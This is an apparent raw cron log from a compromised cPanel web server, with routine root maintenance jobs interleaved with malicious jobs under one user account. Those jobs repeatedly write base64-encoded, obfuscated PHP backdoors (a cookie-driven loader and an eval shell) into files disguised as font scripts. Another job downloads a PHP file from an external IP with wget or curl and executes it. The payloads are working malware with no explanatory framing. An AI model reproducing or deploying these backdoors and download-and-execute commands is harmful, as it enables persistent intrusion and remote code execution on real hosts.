Sep  5 05:45:01 ip-184-168-122-23 CROND[19243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:45:01 ip-184-168-122-23 CROND[19245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:45:01 ip-184-168-122-23 CROND[19248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:45:01 ip-184-168-122-23 CROND[19246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:45:01 ip-184-168-122-23 CROND[19247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:45:01 ip-184-168-122-23 CROND[19249]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:46:01 ip-184-168-122-23 CROND[19366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:46:01 ip-184-168-122-23 CROND[19367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:46:01 ip-184-168-122-23 CROND[19369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:46:01 ip-184-168-122-23 CROND[19370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:46:01 ip-184-168-122-23 CROND[19374]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 05:46:01 ip-184-168-122-23 CROND[19375]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 05:46:01 ip-184-168-122-23 CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:47:01 ip-184-168-122-23 CROND[19502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:47:01 ip-184-168-122-23 CROND[19504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:47:01 ip-184-168-122-23 CROND[19503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:47:01 ip-184-168-122-23 CROND[19505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:48:02 ip-184-168-122-23 CROND[19642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:48:02 ip-184-168-122-23 CROND[19644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:48:02 ip-184-168-122-23 CROND[19645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:48:02 ip-184-168-122-23 CROND[19646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:48:02 ip-184-168-122-23 CROND[19648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:49:01 ip-184-168-122-23 CROND[19748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:49:01 ip-184-168-122-23 CROND[19750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:49:01 ip-184-168-122-23 CROND[19749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:49:01 ip-184-168-122-23 CROND[19751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:50:01 ip-184-168-122-23 CROND[19873]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:50:01 ip-184-168-122-23 CROND[19876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:50:01 ip-184-168-122-23 CROND[19878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:50:01 ip-184-168-122-23 CROND[19882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:50:01 ip-184-168-122-23 CROND[19883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:50:01 ip-184-168-122-23 CROND[19884]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 05:50:01 ip-184-168-122-23 CROND[19881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:50:01 ip-184-168-122-23 CROND[19887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:50:01 ip-184-168-122-23 CROND[19888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:51:01 ip-184-168-122-23 CROND[20016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:51:01 ip-184-168-122-23 CROND[20019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:51:01 ip-184-168-122-23 CROND[20018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:51:01 ip-184-168-122-23 CROND[20020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:52:01 ip-184-168-122-23 CROND[20129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:52:01 ip-184-168-122-23 CROND[20131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:52:01 ip-184-168-122-23 CROND[20134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:52:01 ip-184-168-122-23 CROND[20132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:52:01 ip-184-168-122-23 CROND[20133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:53:01 ip-184-168-122-23 CROND[20324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:53:01 ip-184-168-122-23 CROND[20328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:53:01 ip-184-168-122-23 CROND[20326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:53:01 ip-184-168-122-23 CROND[20327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:54:01 ip-184-168-122-23 CROND[20468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:54:01 ip-184-168-122-23 CROND[20470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:54:01 ip-184-168-122-23 CROND[20471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:54:01 ip-184-168-122-23 CROND[20472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:54:01 ip-184-168-122-23 CROND[20473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:55:01 ip-184-168-122-23 CROND[20578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:55:01 ip-184-168-122-23 CROND[20580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:55:01 ip-184-168-122-23 CROND[20581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:55:01 ip-184-168-122-23 CROND[20582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:55:01 ip-184-168-122-23 CROND[20584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:55:01 ip-184-168-122-23 CROND[20583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:56:01 ip-184-168-122-23 CROND[20691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:56:01 ip-184-168-122-23 CROND[20693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:56:01 ip-184-168-122-23 CROND[20694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:56:01 ip-184-168-122-23 CROND[20695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:56:01 ip-184-168-122-23 CROND[20696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:57:01 ip-184-168-122-23 CROND[20790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:57:01 ip-184-168-122-23 CROND[20793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
